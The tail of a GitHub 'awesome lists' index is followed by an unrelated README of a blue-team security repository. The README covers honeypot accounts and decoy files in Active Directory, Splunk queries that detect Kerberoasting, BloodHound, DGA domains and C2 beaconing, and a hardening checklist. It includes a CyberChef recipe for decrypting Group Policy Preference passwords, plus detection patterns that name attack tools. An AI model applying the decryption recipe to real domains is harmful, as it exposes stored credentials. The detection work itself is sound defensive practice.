- [Uncopyright](https://github.com/johnjago/awesome-uncopyright#readme) - Public domain works.
- [Crypto Currency Tools & Algorithms](https://github.com/Zheaoli/awesome-coins#readme) - Digital currency where encryption is used to regulate the generation of units and verify transfers.
- [Diversity](https://github.com/folkswhocode/awesome-diversity#readme) - Creating a more inclusive and diverse tech community.
- [Open Source Supporters](https://github.com/zachflower/awesome-open-source-supporters#readme) - Companies that offer their tools and services for free to open source projects.
- [Design Principles](https://github.com/robinstickel/awesome-design-principles#readme) - Create better and more consistent designs and experiences.
- [Theravada](https://github.com/johnjago/awesome-theravada#readme) - Teachings from the Theravada Buddhist tradition.
- [inspectIT](https://github.com/inspectit-labs/awesome-inspectit#readme) - Open source Java app performance management tool.
- [Open Source Maintainers](https://github.com/nayafia/awesome-maintainers#readme) - The experience of being an open source maintainer.
- [Calculators](https://github.com/xxczaki/awesome-calculators#readme) - Calculators for every platform.
- [Captcha](https://github.com/ZYSzys/awesome-captcha#readme) - A type of challenge–response test used in computing to determine whether or not the user is human.
- [Jupyter](https://github.com/markusschanta/awesome-jupyter#readme) - Create and share documents that contain code, equations, visualizations and narrative text.
- [FIRST Robotics Competition](https://github.com/andrewda/awesome-frc#readme) - International high school robotics championship.
- [Humane Technology](https://github.com/humanetech-community/awesome-humane-tech#readme) - Open source projects that help improve society.
- [Speakers](https://github.com/karlhorky/awesome-speakers#readme) - Conference and meetup speakers in the programming and design community.
- [Board Games](https://github.com/edm00se/awesome-board-games#readme) - Table-top gaming fun for all.
- [Software Patreons](https://github.com/uraimo/awesome-software-patreons#readme) - Fund individual programmers or the development of open source projects.
- [Parasite](https://github.com/ecohealthalliance/awesome-parasite#readme) - Parasites and host-pathogen interactions.
- [Food](https://github.com/jzarca01/awesome-food#readme) - Food-related projects on GitHub.
- [Mental Health](https://github.com/dreamingechoes/awesome-mental-health#readme) - Mental health awareness and self-care in the software industry.
- [Bitcoin Payment Processors](https://github.com/alexk111/awesome-bitcoin-payment-processors#readme) - Start accepting Bitcoin.
- [Scientific Computing](https://github.com/nschloe/awesome-scientific-computing#readme) - Solving complex scientific problems using computers.
- [Amazon Sellers](https://github.com/ScaleLeap/awesome-amazon-seller#readme)
- [Agriculture](https://github.com/beaorn/awesome-agriculture#readme) - Open source technology for farming and gardening.
- [Plotters](https://github.com/beardicus/awesome-plotters#readme) - Computer-controlled drawing machines and other visual art robots.
- [Product Design](https://github.com/teoga/awesome-product-design#readme) - Design a product from the initial concept to production.
- [Prisma](https://github.com/catalinmiron/awesome-prisma#readme) - Turn your database into a GraphQL API.
- [Software Architecture](https://github.com/simskij/awesome-software-architecture#readme) - The discipline of designing and building software.
- [Connectivity Data and Reports](https://github.com/stevesong/awesome-connectivity-info#readme) - Better understand who has access to telecommunication and internet infrastructure and on what terms.
- [Stacks](https://github.com/stackshareio/awesome-stacks#readme) - Tech stacks for building different apps and features.
- [Cytodata](https://github.com/cytodata/awesome-cytodata#readme) - Image-based profiling of biological phenotypes for computational biologists.
- [IRC](https://github.com/davisonio/awesome-irc#readme) - Open source messaging protocol.
- [Advertising](https://github.com/cenoura/awesome-ads#readme) - Advertising and programmatic media for websites.
- [Earth](https://github.com/philsturgeon/awesome-earth#readme) - Find ways to resolve the climate crisis.
- [Naming](https://github.com/gruhn/awesome-naming#readme) - Naming things in computer science done right.
- [Biomedical Information Extraction](https://github.com/caufieldjh/awesome-bioie#readme) - How to extract information from unstructured biomedical data and text.
- [Web Archiving](https://github.com/iipc/awesome-web-archiving#readme) - An effort to preserve the Web for future generations.
## Related
- [Awesome Indexed](https://awesome-indexed.mathew-davies.co.uk) - Search the Awesome dataset.
- [Awesome Search](https://awesomelists.top) - Quick search for Awesome lists.
- [StumbleUponAwesome](https://github.com/basharovV/StumbleUponAwesome) - Discover random pages from the Awesome dataset using a browser extension.
- [Awesome CLI](https://github.com/umutphp/awesome-cli) - A simple command-line tool to dive into Awesome lists.
|
# Hornets-Nest Overview
This repo will function as a repo for a number of resources/brain dumps that I collate relating to a lot of security. I try to learn both red and blue team elements as I believe red team informs blue team. You cannot detect what you don't know exists or is possible. This is a kind of 'purple teaming' philosophy.
This is my effort at giving back to the security community- ill try to keep it tidy! ;)
Also you can check out the powershell based Email DLP system tester here : https://github.com/s0lari/DeLPhos - generates content & sends emails to test if your dlp rules are actually firing in relation to email traffic.
**INDEX:**
<a href=https://github.com/s0lari/Hornets-Nest#cyberchef-recipes>CyberChef Recipes</a>
<a href=https://github.com/s0lari/Hornets-Nest/blob/master/README.md#honey-all-the-things-ideas>Honey All The Things Ideas</a>
<a href=https://github.com/s0lari/Hornets-Nest/blob/master/README.md#inverted-logic-honey-detection>Inverted Logic Honey Detection</a>
<a href=https://github.com/s0lari/Hornets-Nest#splunk-detections>Splunk Detections</a>
<a href=https://github.com/s0lari/Hornets-Nest#defense-in-depth-security-stack>Defence in Depth Stack</a>
<a href=https://github.com/s0lari/Hornets-Nest/blob/master/README.md#lab-setup>Lab setup</a>
<a href=https://github.com/s0lari/Hornets-Nest#security-resources---links-books-ctfs-etc>Security Resources - Links, Books, Podcasts</a>
# CyberChef Recipes
**Encrypt Strings in Group Policy Preference File format (useful for creating Honey xml files with amusing passwords that PowerSploit etc will decrypt - like the lyrics of a certain Rick Astley song...)** (Requires Cyberchef earlier version - eg 9.6.0 : https://github.com/gchq/CyberChef/releases/tag/v9.6.0)
```
Encode_text('UTF16LE (1200)')
AES_Encrypt({'option':'Hex','string':'4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8 f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b'},{'option':'Hex','string':''},'CBC','Raw','Raw')
To_Base64('A-Za-z0-9+/=')
```
Update 2019-08-21 - just found this cool git that has a bunch more recipes: https://github.com/mattnotmax/cyber-chef-recipes
**Decrypt Strings in Group Policy Preference File format (to check the above, as well as for offensive checks).** (Requires Cyberchef earlier version - eg 9.6.0 : https://github.com/gchq/CyberChef/releases/tag/v9.6.0)
```
From_Base64('A-Za-z0-9+/=',true)
AES_Decrypt({'option':'Hex','string':'4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8 f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b'},{'option':'Hex','string':''},'CBC','Raw','Raw',{'option':'Hex','string':''})
Decode_text('UTF16LE (1200)')
```
**Emotet Word Doc Powershell Script - makes reading easier - Disable certain elements to make the code executable.**
```
From_Base64('A-Za-z0-9+/=',true)
Decode_text('UTF16LE (1200)')
CSS_Beautify('\\t')
Find_/_Replace({'option':'Regex','string':';'},'\\n',true,false,true,false)
Find_/_Replace({'option':'Regex','string':'`'},'',true,false,true,false)
Find_/_Replace({'option':'Regex','string':'\\\'\\+\\\''},'',true,false,true,false)
Find_/_Replace({'option':'Regex','string':'\\+\\\''},'',true,false,true,false)
Find_/_Replace({'option':'Regex','string':'\\\'\\+'},'',true,false,true,false)
To_Lower_case()
```
**Generic Base64 powershell script decoder**
```
From_Base64('A-Za-z0-9+/=',true)
Decode_text('UTF-16LE (1200)')
CSS_Beautify('\\t')
Syntax_highlighter('auto detect')
```
# Honey-all-the-things ideas
Before looking into these interesting fun things to do - you absolutely must have good AD configuration in place. A couple of helpful examples:
https://adsecurity.org/?page_id=4031
https://adsecurity.org/wp-content/uploads/2019/09/2019-DerbyCon-ActiveDirectorySecurity-BeyondTheEasyButton-Metcalf.pdf
Unfortunately this isn't always possible due to internal politics in a company, rejected changes, or 100 other reasons - which is where the below becomes more of use.
One of the best videos i've ever watched on cyber-deception in AD : https://www.youtube.com/watch?v=vLWGJ3f3-gI
The logging GPO settings required are within Computer Configuration > Policies > Windows Settings > Security Settings > Advanced Audit Policy Configuration > Audit Policies
(Account Logon)
Audit Credential Validation - Success and Failure
Audit Kerberos Authentication Service - Success and Failure
Audit Kerberos Service Ticket Operations - Success and Failure
Audit Other Account Logon Events - Success and Failure
(DS Access)
Audit Directory Service Access - Success and Failure
(Logon/Logoff)
Audit Logon - Success and Failure
(Object Access)
Audit Detailed File Share - Success and Failure
Audit File Share - Success and Failure
Audit File - Success and Failure
## Powersploit landmine:
Powersploit has a script called "Get-GPPPassword" - this file does the following:
Get-GPPPassword searches a domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.
This can be used for our advantage by setting up a dummy GPO, or even just a basic xml file named something the above, with a value in it that contains a password of our own design. You would then set up auditing on this folder within SYSVOL on your domain, and alert if this particular file is accessed.
A baseline example xml file could be the following (from https://www.andreafortuna.org/2019/02/13/abusing-group-policy-preference-files-for-password-discovery/ )
```
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Administrator (built-in)" image="2" changed="2017-10-10 11:23:48" uid="{355F2024-75C3-4EB4-9A16-BE114035625F}"><Properties action="U" newName="" fullName="" description="" cpassword="VPe/o9YRyz2cksnYRbNeQj35w9KxQ5ttbvtRaAVqxaE" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="1" subAuthority="RID_ADMIN" userName="Administrator (built-in)"/></User>
</Groups>
```
You could use the cyberchef recipe at the top of this page to create a new string and enter that into the cpassword variable.
Some example files : https://github.com/s0lari/Decoy-sploit
## Honey files
General other honey files can be created in a similar fashion and scattered around file shares deep in the structure that contain strings such as 'password' 'pass' 'secret' 'administrator' etc so that any other automated powershell scripts will find them and trigger audit rules in your SIEM (ELK/Splunk etc).
## Honey users
Create a user that is not used by the business in any way and set the logon hours to full deny. Set up detection for any logon attempts to this user - this will detect password sprays.
Also see the bloodhoud section in the Splunk Detections area below to use this in a similar fashion.
###### Kerberoasting Honey SPN
Set up a service account that is not used by the business in any way and set the logon hours to fully deny. Set up detection for any logon attempts to an SPN that is configured on this account. Whitelist any maintenance/configuration systems. This should be a high fidelity detection on kerberoasting.
Set ServicePrinciple name like so :
```
setspn -U -A http/blah SERVICE_USER_ACCOUNT_HERE (had mixed results with this)
SetSPN -a <computer name>/random-name-spn <domain>\<newly created service account name> (worked most recently in lab)
```
See Splunk Detections section for example query.
###### AS-REP Roasting honey user
To increase the attack surface of kerberoasting detections, we can also create a new user account that has the option "Do not require Kerberos pre-authentication" within the user properties within Active Directory Users and Computers > Account tab > Account Options (scroll to the bottom).
Check for logging on Event ID 4768 containing the user account name that you configured. Depending on the tool, there may also be a event ID 4625 to go along with the 4768 event at near the same time.
Detection logic :
```
index=winevent_sec EventCode=4768 Account_Name=xxxxxx
```
Where xxxxxx is the name of the AS-Rep Roast honey user.
**COUNTER-POINT: Some red-teamers will check for honey accounts - generally this is done by checking when the account was last used/logged into - if you have a script/manual process that logs into that account once every 14 days or so, you should be alright -whitelist this activity in SIEM**
## Inverted logic honey detection
On the topic of red team / threat actor hunting for honey accounts - if we assume that they do indeed find some of these accounts, they may sculpt their attacks around these beacons, much like someone may try to navigate a minefield. We can also use this to our advantage if we invert the logic of the detection.
An example may be that we have a number of honey users or honey SPN accounts created. If assume that the attacker knows that these accounts are beacons, then we can also imagine that they will continue with the attacks that they have in mind, but make exceptions for these accounts in their tools and not password spray/kerberoast those accounts, but will continue to action all the other accounts. We can build a detection for this by checking for large numbers of requests, but of those results, they do not contain the honey entries.
A logic would be something like (haven't managed to test, but take the principle and re-work the query language):
```
index=winevent_sec EventCode=4769 Ticket_Options=0x40810000 Service_Name!="*$" Service_Name!="krbtgt" Account_Name!="*$@*" Service_Name!="super_not_shady_SPN"
| dedup Service_Name
| stats count by user
| where count>X (where x is a good baseline)
```
Where Service_Name=super_not_shady_SPN is a honey SPN. This could also just as easily be user=xxxxxxx or any other honeyAD Object.
This will bring up all the SPNs that have been queried except the honey account, dedupe the service names, count them by user - if the baseline triggers high (obviously having whitelisted known services and management tools that regularly query AD etc and trigger this rule), and it is missing the honey accounts, we may have an attempted bypass of the honey SPN beacon.
So if the attacker attempts to kerberoast/password spray, and does so generally, we will detect them - if they attempt to bypass the beacons, we will detect them. Either way, we should detect them.
The only way the attacker would be able to get around this is by slowing down his attacks to almost a one-by-one approach, and attempting to stay under the threshold of the time range of the detection - but that is exactly what we're trying to at least do - dictate the rules in an attack engagement. Depending on the time range of the detection, you could severely slow down any kind of attack like this.
We are still using the honey accounts, but it is their odd absence that we're tracking - so instead of it being anomalous that they are being accessed, in the context of large sweeps, it is anomalous that they're NOT being accessed. Build out inverse logic detections like this where possible (it may not be) for when you implement a honey object.
# Splunk Detections
## Query for Splunk detections for Honey User
(whitelist false positives as necessary)
```
index=winevent_sec EventCode="*" user=xxxxxxxxx
```
## Honey SPN for kerberoasting attack detection.
(whitelist false positives as necessary)
```
index=winevent_sec EventCode=4769 Service_Name=super_not_shady_SPN
```
## BLOODHOUND:
Previous detection methods for bloodhound revolved around looking at large numbers of LDAP connections via network logs, however, that may have changed slightly given the recent developments from @cptjesus:
> Ben Campbell @Meatballs__ pointed out that SharpHound spins up a large number of LDAP connections when doing enumeration, which causes a significant amount of overhead on building Kerberos handshakes. He provided an alternative solution which maintains a persistent LDAP connection. As of 2.0, SharpHound will use a cached LDAP connection to request resources which should speed up enumeration time in group enumeration at the very least, and possibly in more areas.
If you were unable to log at this level (flat network) or someone was running the latest version of bloodhound, you may not be able to detect this in the standard way. Therefore the following is an interesting alternative.
Some inspiration from http://www.stuffithoughtiknew.com/2019/02/detecting-bloodhound.html and help from @CTOBInsights with the Splunk query. You will also have to enable this in GPO : Computer Configuration > Policies > Windows Settings > Security Settings > Advanced Audit Policy Configuration > Audit Policies > DS Access : Audit Directory Service Access (success and failure)
When you run Bloodhound, you get the following events on your AD Security log after having configured logging on a particular canary user (see the link above):
```
Log Name: Security
Source: Microsoft-Windows-Security-Auditing
Date: 20/08/2019 09:00:29
Event ID: 4662
Task Category: Directory Service Access
Level: Information
Keywords: Audit Success
User: N/A
Computer: dc1.internal.blah123.com
Description:
An operation was performed on an object.
Subject :
Security ID: INTERNAL\Administrator
Account Name: Administrator
Account Domain: INTERNAL
Logon ID: 0x2FA81
Object:
Object Server: DS
Object Type: user
Object Name: CN=Rhubarb,CN=Users,DC=internal,DC=blah123,DC=com
Handle ID: 0x0
Operation:
Operation Type: Object Access
Accesses: Read Property
Access Mask: 0x10
Properties: Read Property
General Information
sAMAccountType
primaryGroupID
Account Restrictions
userAccountControl
Public Information
objectClass
User
Additional Information:
Parameter 1: -
Parameter 2:
```
```
Log Name: Security
Source: Microsoft-Windows-Security-Auditing
Date: 20/08/2019 09:00:29
Event ID: 4662
Task Category: Directory Service Access
Level: Information
Keywords: Audit Success
User: N/A
Computer: dc1.internal.blah123.com
Description:
An operation was performed on an object.
Subject :
Security ID: INTERNAL\Administrator
Account Name: Administrator
Account Domain: INTERNAL
Logon ID: 0x2FA81
Object:
Object Server: DS
Object Type: user
Object Name: CN=Rhubarb,CN=Users,DC=internal,DC=blah123,DC=com
Handle ID: 0x0
Operation:
Operation Type: Object Access
Accesses: Read Property
Access Mask: 0x10
Properties: Read Property
User
Public Information
cn
distinguishedName
Group Membership
member
General Information
primaryGroupID
objectSid
sAMAccountName
sAMAccountType
dNSHostName
dNSHostName
Additional Information:
Parameter 1: -
Parameter 2:
```
Using these properties lookups can function like a fingerprint for BloodHound activity - there are a lot of Active Directory queries and operations that query AD attributes and properties that are not in these forms, so you can use this to remove false positives.
**LOOKUP EVENT 1**
Properties: Read Property
User
Public Information
cn
distinguishedName
Group Membership
member
General Information
primaryGroupID
objectSid
sAMAccountName
sAMAccountType
dNSHostName
dNSHostName
**LOOKUP EVENT 2**
Properties: Read Property
General Information
sAMAccountType
primaryGroupID
Account Restrictions
userAccountControl
Public Information
objectClass
User
**Splunk Search for Bloodhound**
Time period -eg 60 minutes
```
index=winevent_sec EventCode=4662 Accesses="Read Property"
| rex field=_raw "(?<PropertiesLIST>(?s)(?<=Properties:).+?(?=Additional))"
| eval PropertiesLIST=replace(PropertiesLIST, "[\n\r]",";")
| makemv delim=";" PropertiesLIST
| stats count values(PropertiesLIST) as PropertiesLIST by user
| eval propertyLen=mvcount(PropertiesLIST)
| where propertyLen=16
| search (PropertiesLIST="*User*" AND
PropertiesLIST="*Public Information*" AND
PropertiesLIST="*cn*" AND
PropertiesLIST="*distinguishedName*" AND
PropertiesLIST="*Group Membership*" AND
PropertiesLIST="*member*" AND
PropertiesLIST="*General Information*" AND
PropertiesLIST="*primaryGroupID*" AND
PropertiesLIST="*objectSid*" AND
PropertiesLIST="*sAMAccountName*" AND
PropertiesLIST="*sAMAccountType*" AND
PropertiesLIST="*dNSHostName*" AND
PropertiesLIST="*Account Restrictions*" AND
PropertiesLIST="*userAccountControl*" AND
PropertiesLIST="*objectClass*" AND
PropertiesLIST="*Read Property*")
```
This should give a pretty good result for user based Bloodhound detection, but in order to detect computer based checks, a similar setup will need to be created, except with a canary computer account. This can be done simply by creating a new computer object in the 'computers' OU in Active Directory Users and Computers, then applying the same auditing rules that are configured as the canary/honey user. This will create the same Event Code 4662 logs:
```
Log Name: Security
Source: Microsoft-Windows-Security-Auditing
Date: 21/08/2019 09:11:17
Event ID: 4662
Task Category: Directory Service Access
Level: Information
Keywords: Audit Success
User: N/A
Computer: dc1.internal.blah123.com
Description:
An operation was performed on an object.
Subject :
Security ID: INTERNAL\Administrator
Account Name: Administrator
Account Domain: INTERNAL
Logon ID: 0xB57C7
Object:
Object Server: DS
Object Type: computer
Object Name: CN=Canary,CN=Computers,DC=internal,DC=blah123,DC=com
Handle ID: 0x0
Operation:
Operation Type: Object Access
Accesses: Read Property
Access Mask: 0x10
Properties: Read Property
Public Information
Public Information
cn
distinguishedName
Group Membership
member
General Information
primaryGroupID
objectSid
sAMAccountName
sAMAccountType
dNSHostName
dNSHostName
Additional Information:
Parameter 1: -
Parameter 2:
```
```
Log Name: Security
Source: Microsoft-Windows-Security-Auditing
Date: 21/08/2019 09:11:17
Event ID: 4662
Task Category: Directory Service Access
Level: Information
Keywords: Audit Success
User: N/A
Computer: dc1.internal.blah123.com
Description:
An operation was performed on an object.
Subject :
Security ID: INTERNAL\Administrator
Account Name: Administrator
Account Domain: INTERNAL
Logon ID: 0xB57C7
Object:
Object Server: DS
Object Type: computer
Object Name: CN=Canary,CN=Computers,DC=internal,DC=blah123,DC=com
Handle ID: 0x0
Operation:
Operation Type: Object Access
Accesses: Read Property
Access Mask: 0x10
Properties: Read Property
General Information
sAMAccountType
primaryGroupID
Account Restrictions
userAccountControl
Public Information
objectClass
Public Information
Additional Information:
Parameter 1: -
Parameter 2:
```
Computer account collection methods should now be covered too with the query below (basically the same as the above, just minus the 'user' propertiesList entry.
Time period -eg 60 minutes
```
index=winevent_sec EventCode=4662 Accesses="Read Property"
| rex field=_raw "(?<PropertiesLIST>(?s)(?<=Properties:).+?(?=Additional))"
| eval PropertiesLIST=replace(PropertiesLIST, "[\n\r]",";")
| makemv delim=";" PropertiesLIST
| stats count values(PropertiesLIST) as PropertiesLIST by user
| eval propertyLen=mvcount(PropertiesLIST)
| where propertyLen=15
| search (PropertiesLIST="*Public Information*" AND
PropertiesLIST="*cn*" AND
PropertiesLIST="*distinguishedName*" AND
PropertiesLIST="*Group Membership*" AND
PropertiesLIST="*member*" AND
PropertiesLIST="*General Information*" AND
PropertiesLIST="*primaryGroupID*" AND
PropertiesLIST="*objectSid*" AND
PropertiesLIST="*sAMAccountName*" AND
PropertiesLIST="*sAMAccountType*" AND
PropertiesLIST="*dNSHostName*" AND
PropertiesLIST="*Account Restrictions*" AND
PropertiesLIST="*userAccountControl*" AND
PropertiesLIST="*objectClass*" AND
PropertiesLIST="*Read Property*")
```
Another additional detection that can be done for other types of Bloodhound scans (stealth):
https://blog.menasec.net/2019/02/threat-hunting-7-detecting.html
## KERBEROASTING:
**Adjust variables below and whitelist any users that are service accounts that are noisey. This is for any encryption type which allows for failures.**
Time period -eg 60 minutes
```
index=winevent_sec EventCode=4769 Ticket_Options=0x40810000 Service_Name!="*$" Service_Name!="krbtgt" Account_Name!="*$@*"
| dedup Service_Name
| stats count by user
| where count>X (where x is a good baseline)
```
**Only for specific RC4 encrypted requested Kerberos requests – this is since they crack faster so are generally the hackers choice.**
```
index=winevent_sec EventCode=4769 Ticket_Options=0x40810000 Ticket_Encryption_Type=0x17 Service_Name!="*$" Service_Name!="krbtgt" Account_Name!="*$@*"
| dedup Service_Name
| stats count by user
| where count>X (where x is a good baseline)
```
## DNS High Entropy Domain names - DGA Detection
```
| tstats count(DNS.dest) AS "Count of dest" from datamodel=Network_Resolution where (nodename = DNS) NOT DNS.query IN ("**X.com*", "**Y.COM*", "**Z.COM*",) groupby DNS.query, DNS.src prestats=true
| stats dedup_splitvals=t count(DNS.dest) AS "CountD" by DNS.query, DNS.src
| sort limit=0 DNS.query
| rename DNS.query AS query DNS.src AS src
| fillnull "CountD"
| fields query, "CountD", src, - _span
| where CountD=1
| eval list="mozilla"
| `ut_parse(query, list)`
| `ut_shannon(ut_domain)`
| where ut_shannon>3.5
| lookup ad_assets_lookup_tracker.csv ip as src OUTPUT dns as src-resolved
| table ut_shannon, query, src, src-resolved
| sort ut_shannon desc
```
## DNS High Entropy Domain Names with Count - DGA Detection
```
| tstats count(DNS.dest) AS "Count of dest" from datamodel=Network_Resolution where (nodename = DNS) ("**X.com*", "**Y.COM*", "**Z.COM*",) groupby DNS.query, DNS.src prestats=true
| stats dedup_splitvals=t count(DNS.dest) AS "CountD" by DNS.query, DNS.src
| sort limit=0 DNS.query
| rename DNS.query AS query DNS.src AS src
| fillnull "CountD"
| fields query, "CountD", src, - _span
| where CountD=1
| eval list="mozilla"
| `ut_parse(query, list)`
| `ut_shannon(ut_domain)`
| where ut_shannon>3.5
| lookup assets.csv ip as src OUTPUT dns as src-resolved
| stats count as qcount values(ut_shannon) by query
```
## DNS Beaconing Queries by connection count and deviation (Credit to @olafhartong for this query from his ThreatHunting app - adjusted for use for generic DNS lookups such as from centralised AD with many DNS servers - not as useful as having it per individual device, but better than nothing)
```
index=*dns*
| eval current_time=_time
| sort 0 + current_time
| streamstats global=f window=2 current=f last(current_time) AS previous_time by host, query
| eval diff_time=current_time-previous_time
| eventstats count, stdev(diff_time) AS std by host, query
| where std<5 AND count>50
| stats count AS conn_count, dc(host) AS unique_sources, values(std) AS diff_deviation, values(category) AS category BY query
```
## Beaconing Queries by time delta(Credit to @olafhartong for this query from his ThreatHunting app - adjusted for use for generic DNS lookups such as from centralised AD with many DNS servers - not as useful as having it per individual device, but better than nothing)
```
index=*dns*
| fields host, query, _time
| fields - _raw
| sort 0 query,host,-_time
| streamstats current=f window=1 first(_time) as next_query by query, host
| eval delta=round(abs(next_query-_time),0)
| search delta>0
| search query!="None"
| stats count as query_count dc(delta) as delta_dc by query
| eval num_requests_per_time_delta=query_count/delta_dc
| where num_requests_per_time_delta >= 5
| sort 500 - query_count
| table query num_requests_per_time_delta query_count
```
## Using Splunk Machine Learning Toolkit to show 'weird' destination ports - limited time lengths available depending on your result numbers.
This will attempt to show anomalous destination ports and remove internal destination traffic from the results. Use case - C2 traffic to random hosts on random ports.
```
| tstats count AS "Count of All Traffic" from datamodel=Network_Traffic where (nodename = All_Traffic) groupby All_Traffic.user, All_Traffic.dest_ip, All_Traffic.src_ip, All_Traffic.dest_port, All_Traffic.src_port prestats=true
| stats dedup_splitvals=t count AS "Count of All Traffic" by All_Traffic.user, All_Traffic.dest_ip, All_Traffic.src_ip, All_Traffic.dest_port, All_Traffic.src_port
| rename All_Traffic.user AS user All_Traffic.dest_ip AS dest_ip All_Traffic.src_ip AS src_ip All_Traffic.dest_port AS dest_port All_Traffic.src_port AS src_port
| fillnull "Count of All Traffic"
| fields src_ip,src_port, user, dest_ip, dest_port, "Count of All Traffic"
| where (NOT cidrmatch("10.0.0.0/8",dest_ip) AND NOT cidrmatch("172.16.0.0/12",dest_ip) AND NOT cidrmatch("192.168.0.0/16",dest_ip) AND NOT cidrmatch("10.blah.blah.blah/24",src_ip) AND cidrmatch("10.0.0.0/8",src_ip))
| anomalydetection dest_port
| sort - dest_port
```
## Using Splunk Machine Learning Toolkit to show 'weird' connection pairs (rare) - limited time lengths available depending on your result numbers.
```
| tstats count AS "Count of All Traffic" from datamodel=Network_Traffic where (nodename = All_Traffic) groupby All_Traffic.user, All_Traffic.dest_ip, All_Traffic.src_ip, All_Traffic.dest_port, All_Traffic.src_port prestats=true
| stats dedup_splitvals=t count AS "Count of All Traffic" by All_Traffic.user, All_Traffic.dest_ip, All_Traffic.src_ip, All_Traffic.dest_port, All_Traffic.src_port
| rename All_Traffic.user AS user All_Traffic.dest_ip AS dest_ip All_Traffic.src_ip AS src_ip All_Traffic.dest_port AS dest_port All_Traffic.src_port AS src_port
| fillnull "Count of All Traffic"
| fields src_ip,src_port, user, dest_ip, dest_port, "Count of All Traffic"
| where (NOT cidrmatch("10.0.0.0/8",dest_ip) AND NOT cidrmatch("172.16.0.0/12",dest_ip) AND NOT cidrmatch("192.168.0.0/16",dest_ip) AND NOT cidrmatch("10.blah.blah.blah/24",src_ip) AND cidrmatch("10.0.0.0/8",src_ip))
| anomalydetection dest_ip
| sort - dest_port
```
## Using Splunk Machine Learning Toolkit to show 'weird' outbound http user agent strings. Filtered out Google (try leaving it in and see what happens!).
```
| tstats count AS "Count of Web" from datamodel=Web where (nodename = Web) (Web.src="10*") (Web.dest!=*google*) groupby Web.http_user_agent, Web.dest, Web.url, Web.src prestats=true
| stats dedup_splitvals=t count AS "Count of Web" by Web.http_user_agent, Web.dest, Web.url, Web.src
| sort limit=0 Web.http_user_agent
| fields - _span
| rename Web.http_user_agent AS http_user_agent Web.dest AS dest Web.url AS url Web.src AS src
| fillnull "Count of Web"
| fields http_user_agent, dest, url, src, "Count of Web"
| anomalydetection http_user_agent
| sort + "Count of Web"
```
## Useful in situations where there isn't implemented or effective internet whitelisting. Detects file extensions that have been accessed on sites that the web proxy has determined are uncategorised or new/unknown. Had to remove a few extensions due to false-positive count being way too high.
```
| tstats count AS "Count of Web" from datamodel=Web where (nodename = Web) (Web.url!="whitelist1" AND Web.url!="whitelist2etc" AND Web.url="/*.com" OR Web.url="*.SCF" OR Web.url="*.INF" OR Web.url="*.LNK" OR Web.url="*.PS1" OR Web.url="*.PS1XML" OR Web.url="*.PS2" OR Web.url="*.PS2XML" OR Web.url="*.PSC1" OR Web.url="*.PSC2" OR Web.url="*.JSE" OR Web.url="*.VBE" OR Web.url="*.CMD" OR Web.url="*.GADGET" OR Web.url="*.MSP" OR Web.url="*.MSI" OR Web.url="*.DOC" OR Web.url="*.DOCX" OR Web.url="*.DOCM" OR Web.url="*.exe" OR Web.url="*.HTA" OR Web.url="*.JAR" OR Web.url="*.VBS" OR Web.url="*.VB" OR Web.url="*.PDF" OR Web.url="*.SFX" OR Web.url="*.BAT" OR Web.url="*.DLL" OR Web.url="*.TMP" OR Web.url="*.py") (Web.category=unknown OR Web.category=uncategorized OR Web.category="Newly Registered Websites") groupby _time, host, Web.url, Web.category, Web.user, Web.http_content_type, Web.src, prestats=true
| stats dedup_splitvals=t count AS "Count of Web" by _time, Web.src, Web.url, Web.category, Web.user, Web.http_content_type
| sort limit=0 _time
| rename Web.url AS url Web.category AS category Web.user AS user Web.http_content_type AS http_content_type Web.src AS src
| fillnull "Count of Web"
| dedup url
| fields _time, url, src, category, user, http_content_type, "Count of Web"
```
## (Template for lookup table use) Referencing the above lookup, file extensions can be tied to a lookup table with the first Column name being 'Web.url'. Speed increase is around 6 times faster than pre filtering as above query does over large periods of time. Credit to @CTOBInsights. :)
```
[| tstats count from datamodel=Web where (nodename = Web) (Web.category=unknown OR Web.category=uncategorized OR Web.category="Newly Registered Websites") prestats=true groupby _time Web.url Web.dest
| fields Web.url Web.dest _time
| search [ | inputlookup UnusualWebFileEndingDownload123.csv | fields Web.url]
| stats count values(Web.url) by Web.dest]
```
# Defense in Depth Security stack
Fundamentally you're going to be in a pretty good place if you manage these things in your environment - aims mainly at Windows Domain environements (brain dump, no priority/order as each environment is different, some are absolute must tho):
0) BACKUPS - Ransomware is real - test your backups, do DR scenarios - tape is old, but at least it is disconnected from environemnt.
1) Remove local admin account usage for standard users
2) Enable host based firewalls on your internal client machines (treat internal network as hostile) & Segment internal networks (eg by department - makes logging easier as well as users generally do the same kinds of activities, so long tailed stat analysis is easier)!
3) Disable LLMNR & NBNS & SMB v1 on your network (do even more with CIS hardening guides), and disable WPAD if it isn't explicitly used.
4) Use AV - ensure it is running - if you can afford NGAV+EDR - awesomesauce!
5) Use application whitelisting - SRP is good when you have no alternative
6) Log all your things - sysmon, Active Directory, web apps - Azure Sentinel, Various ELK Stacks. Pretty cheap is Rapid 7 InsightIDR, which hooks into 11.
7) Email filtering solution (O365 is not bad)
8) If you're using anything O365/Azure - get the Advanced Threat Protections/ UEBA solutions - they're pretty good
9) Deploy Sysmon and have that logged to your SIEM - various configs available - see below.
10) Deploy Honey tokens/files/users/admins/SRP/GPO/pots/networks
11) Vuln scanner - Rapid7 InsightVM is good. It also dumps vulnerability data into InsightIDR
12) Patch your stuff! As fast and as much as businessly possible.
13) Get a UTM firewall (Fortigate are pretty good and not as expensive as Palo Alto) - this will allow the following:
14) Internet Web Whitelisting (ie, default deny unless category/site specifically allowed)
15) DNS Filtering
16) Web App firewalling on your webapps & Network IPS all the things!
17) Gateway AV
18) App control at gateway (good for detecting/preventing DNS tunneling & CASBI functionality too)
19) 802.1x/Forticlient has a similar function that denies access
20) Encrypt your laptops with Bitlocker + PIN
21) Lock down windows store
22) Lock down cmd/powershell usage
23) 2FA - DUO is very good. Used in conjuntion with an SSL VPN can work nicely - means your internal webapps are not directly accessible too!
24) Threat intelligence feed for your logs in your SIEM
